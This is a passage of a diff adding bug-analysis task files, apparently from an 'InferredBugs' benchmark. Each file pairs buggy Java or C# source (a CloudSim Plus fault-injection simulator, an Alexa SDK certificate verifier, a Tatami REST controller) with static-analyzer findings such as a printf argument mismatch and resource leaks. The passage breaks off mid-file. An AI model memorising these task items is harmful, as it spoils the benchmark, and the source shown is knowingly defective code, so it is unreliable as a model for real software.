+Leaked resource (output of System.Diagnostics.Process::.ctor() at Line 107) of type System.Diagnostics.Process in method "Void Utils.CheckUpdate()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Utils.CheckUpdate()
+
+### File:
+src/Utils.cs
+
+### Key:
+Utils.cs|CheckUpdate|DOTNET_RESOURCE_LEAK
+
+### Hash:
+a865d06f307a15b9a9513b680e5783cb
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10280/instruction.md b/inferredbugs-10280/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a742022272658881e1b03a2320418c266cd0af4e
--- /dev/null
+++ b/inferredbugs-10280/instruction.md
@@ -0,0 +1,472 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cloudsim-plus
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * CloudSim Plus: A modern, highly-extensible and easier-to-use Framework for
+ * Modeling and Simulation of Cloud Computing Infrastructures and Services.
+ * http://cloudsimplus.org
+ *
+ *     Copyright (C) 2015-2016  Universidade da Beira Interior (UBI, Portugal) and
+ *     the Instituto Federal de Educação Ciência e Tecnologia do Tocantins (IFTO, Brazil).
+ *
+ *     This file is part of CloudSim Plus.
+ *
+ *     CloudSim Plus is free software: you can redistribute it and/or modify
+ *     it under the terms of the GNU General Public License as published by
+ *     the Free Software Foundation, either version 3 of the License, or
+ *     (at your option) any later version.
+ *
+ *     CloudSim Plus is distributed in the hope that it will be useful,
+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *     GNU General Public License for more details.
+ *
+ *     You should have received a copy of the GNU General Public License
+ *     along with CloudSim Plus. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * To change this license header, choose License Headers in Project Properties.
+ * To change this template file, choose Tools | Templates
+ * and open the template in the editor.
+ */
+package org.cloudsimplus.sla;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Objects;
+import java.util.function.Function;
+import java.util.function.UnaryOperator;
+import org.cloudbus.cloudsim.brokers.DatacenterBroker;
+import org.cloudbus.cloudsim.cloudlets.Cloudlet;
+import org.cloudbus.cloudsim.core.events.SimEvent;
+import org.cloudbus.cloudsim.hosts.Host;
+import org.cloudbus.cloudsim.util.Log;
+import org.cloudbus.cloudsim.vms.Vm;
+import org.cloudbus.cloudsim.core.*;
+import org.cloudbus.cloudsim.distributions.ContinuousDistribution;
+import org.cloudbus.cloudsim.distributions.UniformDistr;
+import org.cloudbus.cloudsim.resources.Pe;
+import org.cloudbus.cloudsim.resources.Pe.Status;
+import org.cloudbus.cloudsim.vms.power.PowerVm;
+
+/**
+ * This class shows how to generate a fault. In this case the fault is in the
+ * host.
+ *
+ * Notes: This class does not work with the injection fault in time 0. Only
+ * works after the creation of cloudlets and VMs, because when destroying the
+ * VM, the cloudlet is not returned to be chosen by another VM that did not
+ * fail, thus causing error in the simulator.
+ *
+ * @author raysaoliveira
+ * 
+ * see <link>https://blogs.sap.com/2014/07/21/equipment-availability-vs-reliability/
+ *
+ */
+public class HostFaultInjection extends CloudSimEntity {
+    private Host host;
+    private ContinuousDistribution numberOfFailedPesRandom;
+    private ContinuousDistribution delayForFailureOfHostRandom;
+    private PowerVm vmToMigrate;
+    private UnaryOperator<Vm> vmCloner;
+    private Function<Vm, List<Cloudlet>> cloudletsCloner;
+
+    /**
+     * Creates a fault injection mechanism for a host that will generate
+     * failures with a delay and number of failed PEs generated using a Uniform
+     * Pseudo Random Number Generator (PRNG) for each one.
+     *
+     * @param host the Host the faults will be generated on
+     * @see
+     * #setDelayForFailureOfHostRandom(org.cloudbus.cloudsim.distributions.ContinuousDistribution)
+     * @see
+     * #setNumberOfFailedPesRandom(org.cloudbus.cloudsim.distributions.ContinuousDistribution)
+     */
+    public HostFaultInjection(Host host) {
+        super(host.getSimulation());
+        this.setHost(host);
+        this.numberOfFailedPesRandom = new UniformDistr();
+        this.delayForFailureOfHostRandom = new UniformDistr();
+        
+        /*Sets a default vmCloner which in fact doesn't
+        clone a VM, just returns the Vm.NULL object.
+        This is used just to ensure that if a vmClone
+        is not set, it wont be thrown a NullPointerException
+        and no VM will be cloned.
+        A similar thing is made to the cloudletsCloner below.*/
+        this.vmCloner = vm -> { 
+            Log.printFormattedLine(
+                "%s: You should define a VM Cloner Function to enable creating a new instance of a VM when it is destroyed due to a Host failure.", 
+                getClass().getSimpleName());
+            return Vm.NULL; 
+        };
+        this.cloudletsCloner = vm -> {
+            Log.printFormattedLine("%s: You should define a Cloudlets Cloner Function to re-create the List of running Cloudlets from a faulty VM into the Cloned VM when there is a Host failure", 
+                getClass().getSimpleName());
+            return Collections.EMPTY_LIST;
+        };
+    }
+
+    @Override
+    protected void startEntity() {
+        double delay = delayForFailureOfHostRandom.sample() + 1;
+        schedule(getId(), delay, CloudSimTags.HOST_FAILURE);
+    }
+
+    @Override
+    public void processEvent(SimEvent ev) {
+        switch (ev.getTag()) {
+            case CloudSimTags.HOST_FAILURE:
+                generateFailure();
+            break;
+            default:
+                Log.printLine(getName() + ": unknown event type");
+            break;
+        }
+    }
+
+    @Override
+    public void shutdownEntity() {/**/}
+
+    /**
+     * Generates a failure on Host's PEs or not, according to the number of PEs
+     * to be set to failed, returned by the {@link #numberOfFailedPesRandom}
+     * PRNG.
+     *
+     * @return <tt>true</tt> if the failure was generated, <tt>false</tt>
+     * otherwise
+     */
+    public final boolean generateFailure() {
+        final int numberOfFailedPes = setFailedHostPes();
+        final long hostWorkingPes = host.getNumberOfWorkingPes();
+        final long vmsRequiredPes = getPesSumOfWorkingVms();
+        Log.printFormattedLine("\t%.2f: Generated %d PEs failures for Host %d", getSimulation().clock(), numberOfFailedPes, host.getId());
+        if(vmsRequiredPes == 0){
+            System.out.printf("\t      Number of VMs: %d\n", host.getId(), host.getVmList().size());
+        }
+        System.out.printf("\t      Working PEs: %d | VMs required PEs: %d\n", hostWorkingPes, vmsRequiredPes);
+        if(hostWorkingPes == 0){
+            setAllVmsToFailed();  
+        } else if (hostWorkingPes >= vmsRequiredPes) {
+            logNoVmFailure();  
+        } else {
+            deallocateFailedHostPesFromVms();
+        } 
+        
+        return numberOfFailedPes > 0;
+    }
+
+    /**
+     * Sets all VMs to failed when all Host PEs failed.
+     */
+    private void setAllVmsToFailed() {
+        host.getVmList().stream().forEach(this::setVmToFailedAndCreateClone);
+        Log.printFormattedLine("\t%.2f: Host %d -> All the %d PEs failed, affecting all its %d VMs.\n",
+                getSimulation().clock(), host.getId(), host.getNumberOfPes(), host.getVmList().size());
+    }
+    
+    /**
+     * Shows that the failure of Host PEs hasn't affected any VM,
+     * because there is more working PEs than required by all VMs.
+     */
+    private void logNoVmFailure() {
+        final int vmsRequiredPes = (int)getPesSumOfWorkingVms();
+        Log.printFormattedLine(
+                "\t%.2f: Host %d -> Number of failed PEs is less than PEs required by all its %d VMs, thus it doesn't affect any VM.",
+                getSimulation().clock(), host.getId(), host.getVmList().size());
+        Log.printFormattedLine("\t      Host %d -> Total PEs: %d | Failed PEs: %d | Working PEs: %d | Current PEs required by VMs: %d.\n",
+                host.getId(), host.getNumberOfPes(), host.getNumberOfFailedPes(), host.getNumberOfWorkingPes(),
+                vmsRequiredPes);
+    }
+    
+    private void deallocateFailedHostPesFromVms() {
+        final int hostWorkingPes = (int)host.getNumberOfWorkingPes();
+        final int vmsRequiredPes = (int)getPesSumOfWorkingVms();
+        
+        int i = 0;
+        int failedPesToRemoveFromVms = vmsRequiredPes-hostWorkingPes;
+        final int affectedVms = Math.min(host.getVmList().size(), failedPesToRemoveFromVms);
+        Log.printFormattedLine(
+                "\t%.2f: Host %d -> %d PEs failed, from a total of %d PEs. There are %d PEs working.",
+                getSimulation().clock(), host.getId(), host.getNumberOfFailedPes(), 
+                host.getNumberOfPes(), host.getNumberOfWorkingPes());
+        Log.printFormattedLine(
+                "\t      %d VMs affected from a total of %d. %d PEs are going to be removed from VMs", 
+                affectedVms, host.getVmList().size(), failedPesToRemoveFromVms);
+        while(failedPesToRemoveFromVms-- > 0){
+            i = i % affectedVms;
+            Vm vm = host.getVmList().get(i);
+            
+            host.getVmScheduler().deallocatePesFromVm(vm, 1);
+            vm.getCloudletScheduler().deallocatePesFromVm(vm, 1);
+            //remove 1 failed PE from the VM
+            vm.getProcessor().removeCapacity(1); 
+            Log.printFormattedLine(
+                    "\t      Removing 1 PE from VM %d due to Host PE failure. New VM PEs Number: %d\n", 
+                    vm.getId(), vm.getNumberOfPes());
+            i++;
+        }
+        
+        Log.printLine();
+        setVmsToFailed();
+    }
+
+    /**
+     * Sets to failed all VMs which all their PEs were removed due to Host PEs failures.
+     */
+    private void setVmsToFailed() {
+        host.getVmList().stream()
+                .filter(vm -> vm.getNumberOfPes() == 0)
+                .forEach(this::setVmToFailedAndCreateClone);
+    }
+
+    /**
+     * Checks if the the host is failed and sets all a given VM to failed.
+     *
+     * @param vm vm to set to failed
+     */
+    public void setVmToFailedAndCreateClone(Vm vm) {
+        if (!this.isFailed()) {
+            return;
+        }
+        
+        final Vm clone = vmCloner.apply(vm);
+        final DatacenterBroker broker = vm.getBroker();
+        broker.submitVm(clone);
+
+        List<Cloudlet> cloudlets = cloudletsCloner.apply(vm);
+        broker.submitCloudletList(cloudlets, clone);
+        
+        vm.setFailed(true);
+        
+        /*
+         As the broker is expected to request vm creation and destruction,
+         it is set here as the sender of the vm destroy request.
+         */
+        getSimulation().sendNow(
+                vm.getBroker().getId(), host.getDatacenter().getId(),
+                CloudSimTags.VM_DESTROY, vm);
+    }
+    
+    private int setFailedHostPes() {
+        final int numberOfFailedPes = generateNumberOfFailedPes();
+        for (int i = 0; i < numberOfFailedPes; i++) {
+            host.getPeList().get(i).setStatus(Pe.Status.FAILED);
+        }
+        return numberOfFailedPes;
+    }
+
+    public long getFailedVmsCount() {
+        return host.getVmList()
+                .stream()
+                .filter(Vm::isFailed)
+                .count();
+    }
+
+    public long getPesSumOfWorkingVms() {
+        return host.getVmList().stream()
+                .filter(vm -> !vm.isFailed())
+                .mapToLong(vm -> vm.getNumberOfPes())
+                .sum();
+    }
+
+    /**
+     * Generates a number of PEs that will fail for the host using the
+     * {@link #numberOfFailedPesRandom},
+     *
+     * @return the generated number of failed PEs for the host
+     */
+    public int generateNumberOfFailedPes() {
+        /*the random generator return values from [0 to 1]
+         and multiplying by the number of PEs we get a number between
+         0 and numbero of PEs*/
+        return (int) (numberOfFailedPesRandom.sample() * host.getPeList().size() + 1);
+    }
+
+    /**
+     * Checks if the Host has any failed PEs.
+     * @return true if any Host PEs has failed, false otherwise
+     */
+    public boolean isFailed() {
+        return host.getPeList()
+                .stream()
+                .map(Pe::getStatus)
+                .anyMatch(Status.FAILED::equals);
+    }
+
+    /**
+     * Gets the host in which a failure may happen.
+     *
+     * @return
+     */
+    public Host getHost() {
+        return host;
+    }
+
+    /**
+     * Sets the host in which failure may happen.
+     *
+     * @param host the host to set
+     */
+    private void setHost(Host host) {
+        Objects.requireNonNull(host);
+        this.host = host;
+    }
+
+    /**
+     * Gets the pseudo random number generator (PRNG) that is used to define the
+     * number of PEs to be set to failed for the related host. The PRNG returns
+     * values between [0 and 1[
+     *
+     * @return
+     */
+    public ContinuousDistribution getNumberOfFailedPesRandom() {
+        return numberOfFailedPesRandom;
+    }
+
+    /**
+     * Sets the pseudo random number generator (PRNG) that is used to define the
+     * number of PEs to be set to failed for the related host. The PRNG must
+     * return values between [0 and 1[
+     *
+     * @param numberOfFailedPesRandom the numberOfFailedPesRandom to set
+     */
+    public void setNumberOfFailedPesRandom(ContinuousDistribution numberOfFailedPesRandom) {
+        this.numberOfFailedPesRandom = numberOfFailedPesRandom;
+    }
+
+    /**
+     * Sets the delayForFailureOfHostRandom number generator returning
+     * values between [min - max]. This value will be used to set
+     * the delay time the host will fail.
+     *
+     * @param delayForFailureOfHostRandom the delayForFailureOfHostRandom to set
+     */
+    public void setDelayForFailureOfHostRandom(ContinuousDistribution delayForFailureOfHostRandom) {
+        this.delayForFailureOfHostRandom = delayForFailureOfHostRandom;
+    }
+
+    /**
+     * Gets the pseudo delayForFailureOfHostRandom number generator returning
+     * values between [min - max]. This value will be used to set
+     * the delay time the host will fail.
+     *
+     * @return the delayForFailureOfHostRandom
+     */
+    public ContinuousDistribution getDelayForFailureOfHostRandom() {
+        return delayForFailureOfHostRandom;
+    }
+
+    /**
+     * Sets a {@link UnaryOperator} that creates a clone of a {@link Vm}
+     * when all Host PEs fail or all VM's PEs are deallocated
+     * because they have failed.
+     * 
+     * <p>The {@link UnaryOperator} is a {@link Function} that
+     * receives a {@link Vm} and returns a clone of it.
+     * When all PEs of the VM fail, this vmCloner {@link Function}
+     * is used to create a copy of the VM to be submitted to another Host.
+     * It is like a VM snapshot in a real cloud infrastructure,
+     * which will be started into another host in order to
+     * recovery from a failure.
+     * </p>
+     * 
+     * @param vmCloner the VM cloner {@link Function} to set
+     * @see #setCloudletsCloner(java.util.function.Function) 
+     */
+    public void setVmCloner(UnaryOperator<Vm> vmCloner) {
+        this.vmCloner = vmCloner;
+    }
+
+    /**
+     * Sets a {@link Function} that creates a clone of all Cloudlets 
+     * which were running inside a given failed {@link Vm}.
+     * 
+     * <p>Such a Function is used to re-create and re-submit those Cloudlets 
+     * to a clone of the failed VM. In this case, all the Cloudlets are 
+     * recreated from scratch into the cloned VM,
+     * re-starting their execution from the beginning.
+     * Since a snapshot (clone) of the failed VM will be started
+     * into another Host, the Cloudlets Cloner Function will recreated
+     * all Cloudlets, simulating the restart of applications
+     * into this new VM instance.</p>
+     * 
+     * @param cloudletsCloner the cloudlets cloner {@link Function} to set
+     * @see #setVmCloner(java.util.function.UnaryOperator) 
+     */
+    public void setCloudletsCloner(Function<Vm, List<Cloudlet>> cloudletsCloner) {
+        this.cloudletsCloner = cloudletsCloner;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+format string arguments don't mach provided arguments in printf(...) at line 142.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean HostFaultInjection.generateFailure()
+
+### Procedure Id:
+org.cloudsimplus.sla.HostFaultInjection.generateFailure():boolean.405df9ab19842f3468333f813eff6536
+
+### File:
+cloudsim-plus-testbeds/src/main/java/org/cloudsimplus/sla/HostFaultInjection.java
+
+### Key:
+HostFaultInjection.java|generateFailure|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+71d7aeadecd713c1e57b4cfb4892c153
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10287/instruction.md b/inferredbugs-10287/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1014262899b23bcf0901bf42b63b57e8455b9805
--- /dev/null
+++ b/inferredbugs-10287/instruction.md
@@ -0,0 +1,323 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** alexa-skills-kit-sdk-for-java
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+    Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
+
+    Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file
+    except in compliance with the License. A copy of the License is located at
+
+        http://aws.amazon.com/apache2.0/
+
+    or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for
+    the specific language governing permissions and limitations under the License.
+ */
+
+package com.amazon.ask.servlet.verifiers;
+
+import com.amazon.ask.servlet.ServletConstants;
+import org.apache.commons.codec.binary.Base64;
+
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509TrustManager;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.Proxy;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.security.GeneralSecurityException;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.Signature;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Provides a utility method to verify the signature of a skill request.
+ */
+public final class SkillRequestSignatureVerifier implements SkillServletVerifier {
+    private static final Map<String, X509Certificate> CERTIFICATE_CACHE = new ConcurrentHashMap<>();
+    private static final Integer DOMAIN_NAME_SUBJECT_ALTERNATIVE_NAME_ENTRY = 2;
+    private static final String VALID_SIGNING_CERT_CHAIN_PROTOCOL = "https";
+    private static final String VALID_SIGNING_CERT_CHAIN_URL_HOST_NAME = "s3.amazonaws.com";
+    private static final String VALID_SIGNING_CERT_CHAIN_URL_PATH_PREFIX = "/echo.api/";
+    private static final int UNSPECIFIED_SIGNING_CERT_CHAIN_URL_PORT_VALUE = -1;
+
+    private final Proxy proxy;
+
+    public SkillRequestSignatureVerifier() {
+        this.proxy = null;
+    }
+
+    /**
+     * @param proxy proxy configuration for certificate retrieval
+     */
+    public SkillRequestSignatureVerifier(Proxy proxy) {
+        this.proxy = proxy;
+    }
+
+    /**
+     * Verifies the certificate authenticity using the configured TrustStore and the signature of
+     * the skill request. This method will throw a {@link SecurityException} if the signature
+     * does not pass verification.
+     *
+     * {@inheritDoc}
+     */
+    public void verify(AlexaHttpRequest alexaHttpRequest) {
+        String baseEncoded64Signature = alexaHttpRequest.getBaseEncoded64Signature();
+        String signingCertificateChainUrl = alexaHttpRequest.getSigningCertificateChainUrl();
+        if ((baseEncoded64Signature == null) || (signingCertificateChainUrl == null)) {
+            throw new SecurityException(
+                    "Missing signature/certificate for the provided skill request");
+        }
+
+        try {
+            X509Certificate signingCertificate;
+            if (CERTIFICATE_CACHE.containsKey(signingCertificateChainUrl)) {
+                signingCertificate = CERTIFICATE_CACHE.get(signingCertificateChainUrl);
+                /*
+                 * check the before/after dates on the certificate are still valid for the present
+                 * time
+                 */
+                signingCertificate.checkValidity();
+            } else {
+                signingCertificate = retrieveAndVerifyCertificateChain(signingCertificateChainUrl);
+
+                // if certificate is valid, then add it to the cache
+                CERTIFICATE_CACHE.put(signingCertificateChainUrl, signingCertificate);
+            }
+
+            // verify that the request was signed by the provided certificate
+            Signature signature = Signature.getInstance(ServletConstants.SIGNATURE_ALGORITHM);
+            signature.initVerify(signingCertificate.getPublicKey());
+            signature.update(alexaHttpRequest.getSerializedRequestEnvelope());
+            if (!signature.verify(Base64.decodeBase64(baseEncoded64Signature
+                    .getBytes(ServletConstants.CHARACTER_ENCODING)))) {
+                throw new SecurityException(
+                        "Failed to verify the signature/certificate for the provided skill request");
+            }
+        } catch (GeneralSecurityException | IOException ex) {
+            throw new SecurityException(
+                    "Failed to verify the signature/certificate for the provided skill request",
+                    ex);
+        }
+    }
+
+    /**
+     * Retrieves the certificate from the specified URL and confirms that the certificate is valid.
+     *
+     * @param signingCertificateChainUrl
+     *            the URL to retrieve the certificate chain from
+     * @return the certificate at the specified URL, if the certificate is valid
+     * @throws CertificateException
+     *             if the certificate cannot be retrieve or is invalid
+     */
+    private X509Certificate retrieveAndVerifyCertificateChain(
+            final String signingCertificateChainUrl) throws CertificateException {
+        try (InputStream in =
+                proxy != null ? getAndVerifySigningCertificateChainUrl(signingCertificateChainUrl).openConnection(proxy).getInputStream()
+                : getAndVerifySigningCertificateChainUrl(signingCertificateChainUrl).openConnection().getInputStream()) {
+            CertificateFactory certificateFactory =
+                    CertificateFactory.getInstance(ServletConstants.SIGNATURE_CERTIFICATE_TYPE);
+            @SuppressWarnings("unchecked")
+            Collection<X509Certificate> certificateChain =
+                    (Collection<X509Certificate>) certificateFactory.generateCertificates(in);
+            /*
+             * check the before/after dates on the certificate date to confirm that it is valid on
+             * the current date
+             */
+            X509Certificate signingCertificate = certificateChain.iterator().next();
+            signingCertificate.checkValidity();
+
+            // check the certificate chain
+            TrustManagerFactory trustManagerFactory =
+                    TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+            trustManagerFactory.init((KeyStore) null);
+
+            X509TrustManager x509TrustManager = null;
+            for (TrustManager trustManager : trustManagerFactory.getTrustManagers()) {
+                if (trustManager instanceof X509TrustManager) {
+                    x509TrustManager = (X509TrustManager) trustManager;
+                }
+            }
+
+            if (x509TrustManager == null) {
+                throw new IllegalStateException(
+                        "No X509 TrustManager available. Unable to check certificate chain");
+            } else {
+                x509TrustManager.checkServerTrusted(
+                        certificateChain.toArray(new X509Certificate[certificateChain.size()]),
+                        ServletConstants.SIGNATURE_TYPE);
+            }
+
+            /*
+             * verify Echo API's hostname is specified as one of subject alternative names on the
+             * signing certificate
+             */
+            if (!subjectAlernativeNameListContainsEchoSdkDomainName(signingCertificate
+                    .getSubjectAlternativeNames())) {
+                throw new CertificateException(
+                        "The provided certificate is not valid for the Echo SDK");
+            }
+
+            return signingCertificate;
+        } catch (KeyStoreException | IOException | NoSuchAlgorithmException ex) {
+            throw new CertificateException("Unable to verify certificate at URL: "
+                    + signingCertificateChainUrl, ex);
+        }
+    }
+
+    private boolean subjectAlernativeNameListContainsEchoSdkDomainName(
+            final Collection<List<?>> subjectAlternativeNameEntries) {
+        for (List<?> entry : subjectAlternativeNameEntries) {
+            // first ensure that the subject alternative entry is in the expected form
+            if (entry.get(0) instanceof Integer && entry.get(1) instanceof String) {
+                /*
+                 * if the entry is for a domain name and that domain name matches the domain name
+                 * for the echo sdk then return true
+                 */
+                if (DOMAIN_NAME_SUBJECT_ALTERNATIVE_NAME_ENTRY.equals(entry.get(0))
+                        && ServletConstants.ECHO_API_DOMAIN_NAME.equals((entry.get(1)))) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Verifies the signing certificate chain URL and returns a {@code URL} object.
+     *
+     * @param signingCertificateChainUrl
+     *            the external form of the URL
+     * @return the URL
+     * @throws CertificateException
+     *             if the URL is malformed or contains an invalid hostname, an unsupported protocol,
+     *             or an invalid port (if specified)
+     */
+    static URL getAndVerifySigningCertificateChainUrl(final String signingCertificateChainUrl)
+            throws CertificateException {
+        try {
+            URL url = new URI(signingCertificateChainUrl).normalize().toURL();
+            // Validate the hostname
+            if (!VALID_SIGNING_CERT_CHAIN_URL_HOST_NAME.equalsIgnoreCase(url.getHost())) {
+                throw new CertificateException(String.format(
+                        "SigningCertificateChainUrl [%s] does not contain the required hostname"
+                                + " of [%s]", signingCertificateChainUrl,
+                        VALID_SIGNING_CERT_CHAIN_URL_HOST_NAME));
+            }
+
+            // Validate the path prefix
+            String path = url.getPath();
+            if (!path.startsWith(VALID_SIGNING_CERT_CHAIN_URL_PATH_PREFIX)) {
+                throw new CertificateException(String.format(
+                        "SigningCertificateChainUrl path [%s] is invalid. Expecting path to "
+                                + "start with [%s]", signingCertificateChainUrl,
+                        VALID_SIGNING_CERT_CHAIN_URL_PATH_PREFIX));
+            }
+
+            // Validate the protocol
+            String urlProtocol = url.getProtocol();
+            if (!VALID_SIGNING_CERT_CHAIN_PROTOCOL.equalsIgnoreCase(urlProtocol)) {
+                throw new CertificateException(String.format(
+                        "SigningCertificateChainUrl [%s] contains an unsupported protocol [%s]",
+                        signingCertificateChainUrl, urlProtocol));
+            }
+
+            // Validate the port uses the default of 443 for HTTPS if explicitly defined in the URL
+            int urlPort = url.getPort();
+            if ((urlPort != UNSPECIFIED_SIGNING_CERT_CHAIN_URL_PORT_VALUE)
+                    && (urlPort != url.getDefaultPort())) {
+                throw new CertificateException(String.format(
+                        "SigningCertificateChainUrl [%s] contains an invalid port [%d]",
+                        signingCertificateChainUrl, urlPort));
+            }
+
+            return url;
+        } catch (IllegalArgumentException | MalformedURLException | URISyntaxException ex) {
+            throw new CertificateException(String.format(
+                    "SigningCertificateChainUrl [%s] is malformed", signingCertificateChainUrl), ex);
+        }
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.HttpURLConnection` acquired by call to `openConnection()` at line 126 is not released after line 126.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+X509Certificate SkillRequestSignatureVerifier.retrieveAndVerifyCertificateChain(String)
+
+### Procedure Id:
+com.amazon.ask.servlet.verifiers.SkillRequestSignatureVerifier.retrieveAndVerifyCertificateChain(jav.d031165173272f53c0d038afd19b8151
+
+### File:
+ask-sdk-servlet-support/src/com/amazon/ask/servlet/verifiers/SkillRequestSignatureVerifier.java
+
+### Key:
+SkillRequestSignatureVerifier.java|retrieveAndVerifyCertificateChain|RESOURCE_LEAK
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+8019406ad6dd07ce67aa4c9e5a2ce439
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10289/instruction.md b/inferredbugs-10289/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8b557087beaa22b30c8243d2029f005afd33b563
--- /dev/null
+++ b/inferredbugs-10289/instruction.md
@@ -0,0 +1,394 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** tatami
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package fr.ippon.tatami.web.rest;
+
+import com.yammer.metrics.annotation.Timed;
+import fr.ippon.tatami.domain.Group;
+import fr.ippon.tatami.domain.User;
+import fr.ippon.tatami.domain.status.StatusDetails;
+import fr.ippon.tatami.security.AuthenticationService;
+import fr.ippon.tatami.service.GroupService;
+import fr.ippon.tatami.service.StatusUpdateService;
+import fr.ippon.tatami.service.TimelineService;
+import fr.ippon.tatami.service.dto.StatusDTO;
+import fr.ippon.tatami.service.exception.ArchivedGroupException;
+import fr.ippon.tatami.service.exception.ReplyStatusException;
+import fr.ippon.tatami.web.rest.dto.ActionStatus;
+import fr.ippon.tatami.web.rest.dto.Reply;
+import org.apache.commons.lang.StringEscapeUtils;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.*;
+
+import javax.inject.Inject;
+import javax.servlet.http.HttpServletResponse;
+import java.util.Collection;
+
+/**
+ * REST controller for managing status.
+ *
+ * @author Julien Dubois
+ */
+@Controller
+public class TimelineController {
+
+    private final Log log = LogFactory.getLog(TimelineController.class);
+
+    @Inject
+    private TimelineService timelineService;
+
+    @Inject
+    private StatusUpdateService statusUpdateService;
+
+    @Inject
+    private GroupService groupService;
+
+    @Inject
+    private AuthenticationService authenticationService;
+
+    /**
+     * POST /statuses/update -> create a new Status
+     */
+    @RequestMapping(value = "/rest/statuses/update",
+            method = RequestMethod.POST)
+    @Timed
+    public void postStatus(@RequestBody StatusDTO status, HttpServletResponse response) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to add status : " + status.getContent());
+        }
+        String escapedContent = StringEscapeUtils.escapeHtml(status.getContent());
+        Collection<String> attachmentIds = status.getAttachmentIds();
+        if (status.isStatusPrivate() || status.getGroupId() == null || status.getGroupId().equals("")) {
+            if (log.isDebugEnabled()) {
+                log.debug("Private status");
+            }
+            statusUpdateService.postStatus(escapedContent, status.isStatusPrivate(), attachmentIds);
+        } else {
+            User currentUser = authenticationService.getCurrentUser();
+            Collection<Group> groups = groupService.getGroupsForUser(currentUser);
+            Group group = null;
+            for (Group testGroup : groups) {
+                if (testGroup.getGroupId().equals(status.getGroupId())) {
+                    group = testGroup;
+                    break;
+                }
+            }
+            if (group == null) {
+                if (log.isInfoEnabled()) {
+                    log.info("Permission denied! User " + currentUser.getLogin() + " tried to access " +
